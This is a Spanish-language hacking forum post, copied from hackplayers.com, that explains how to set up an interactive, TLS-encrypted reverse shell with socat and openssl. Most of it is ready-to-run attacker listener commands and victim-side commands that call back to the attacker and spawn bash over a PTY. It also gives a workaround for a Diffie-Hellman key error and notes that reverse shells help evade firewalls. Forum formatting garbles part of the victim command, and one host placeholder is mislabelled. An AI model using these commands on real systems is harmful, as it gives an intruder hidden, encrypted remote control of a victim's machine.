Bienvenido a Tecnohackers

Tecnohackers » Hacking y Seguridad » Hacking » Herramientas Hacking
 » 

Shell inversa interactiva y cifrada con socat y openssl



Autor Tema: Shell inversa interactiva y cifrada con socat y openssl  (Leído 1896 veces)

Desconectado zolo

  • Consigliere
  • Master
  • *****
  • Mensajes: 22566
  • Un Mes, Un Año o Toda Una Vida, Da Igual, Estare
Shell inversa interactiva y cifrada con socat y openssl
« en: Diciembre 02, 2016, 09:09:24 am »
Tras leer el artículo de alguien en la fisi me puse a investigar como mejorar la técnica de creación de una shell inversa de forma interactiva y además por un canal seguro.

Hoy me gustaría compartir con vosotros como crear una shell inversa de forma interactiva con socat y como cifrar ese canal a través de openssl.

Lo primero tenemos dos terminales, una de la victima y la otra del atacante.

Antes de nada os comento la diferencia entre shell directa y shell inversa:

 -Shell directa: El atacante se conecta directamente a la victima.
 -Shell inversa: En este otro caso sería la victima la que se conectaría al atacante (usada habitualmente para evadir sistemas de firewall)

You are not allowed to view links. Register or Login

ATACANTE

Lo primero de todo sería generar un certificado con openssl y dejar un puerto a la escucha mediante socat en la máquina atacante.

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem && \
    socat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0

VICTIMA

Ahora ejecutaríamos lo siguiente en la máquina victima:

ps -ef | grep -q '
  • penssl-connect' || \

    socat openssl-connect::1237,verify=0 exec:bash,pty,stderr,setsid

El tema es que nos casca la conexión con el siguiente error:

socat[3287] E SSL_connect(): error:14082174:SSL routines:SSL3_CHECK_CERT_AND_ALGORITHM:dh key too small

Este error es debido al Logjam Attack (You are not allowed to view links. Register or Login) y podríamos evitarlo repitiendo el proceso anterior con ejecuciones separadas de openssl y socat y entre medias de ambas ejecutar los siguientes comandos:

openssl dhparam -out dhparams.pem 2048
cat dhparams.pem >> cert.pem


Repetimos por tanto el proceso anterior:

ATACANTE

Lo primero sería generar un certificado con openssl y dejar un puerto a la escucha mediante socat en la máquina atacante ya que estamos hablando de una reverse shell.

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem

openssl dhparam -out dhparams.pem 2048
cat dhparams.pem >> cert.pem


socat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0

Ahora sí hemos generado el certificado y dejado un puerto a la escucha en la máquina atacante.

You are not allowed to view links. Register or Login

VICTIMA

Ahora ejecutaríamos lo siguiente en la máquina victima para conectar al puerto que está escuchando en la máquina atacante.

ps -ef | grep -q '
  • penssl-connect' || \

    socat openssl-connect:IP_VICTIMA:1237,verify=0 exec:bash,pty,stderr,setsid


You are not allowed to view links. Register or Login

A partir de ahora tendríamos una shell inversa y cifrada contra el equipo victima, y podemos ver que sería totalmente interactiva puesto que nos funcionarían programas del tipo top, vim, ssh, su, sudo o cualquier programa que solicite cualquier acción de forma interactiva para el usuario ya sea solicitando una password como es el caso de ssh, su y sudo o de otra manera como top y vim.

Más info.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login


Fuente: Ignacio Martin / hackplayers.com



You are not allowed to view links. Register or Login

Tags:
Tags:

 


SMF 2.0.19 | SMF © 2016, Simple Machines
Paginas Afiliadas
Twitter - FaceBook - Daraxblog
Designed by Smf Personal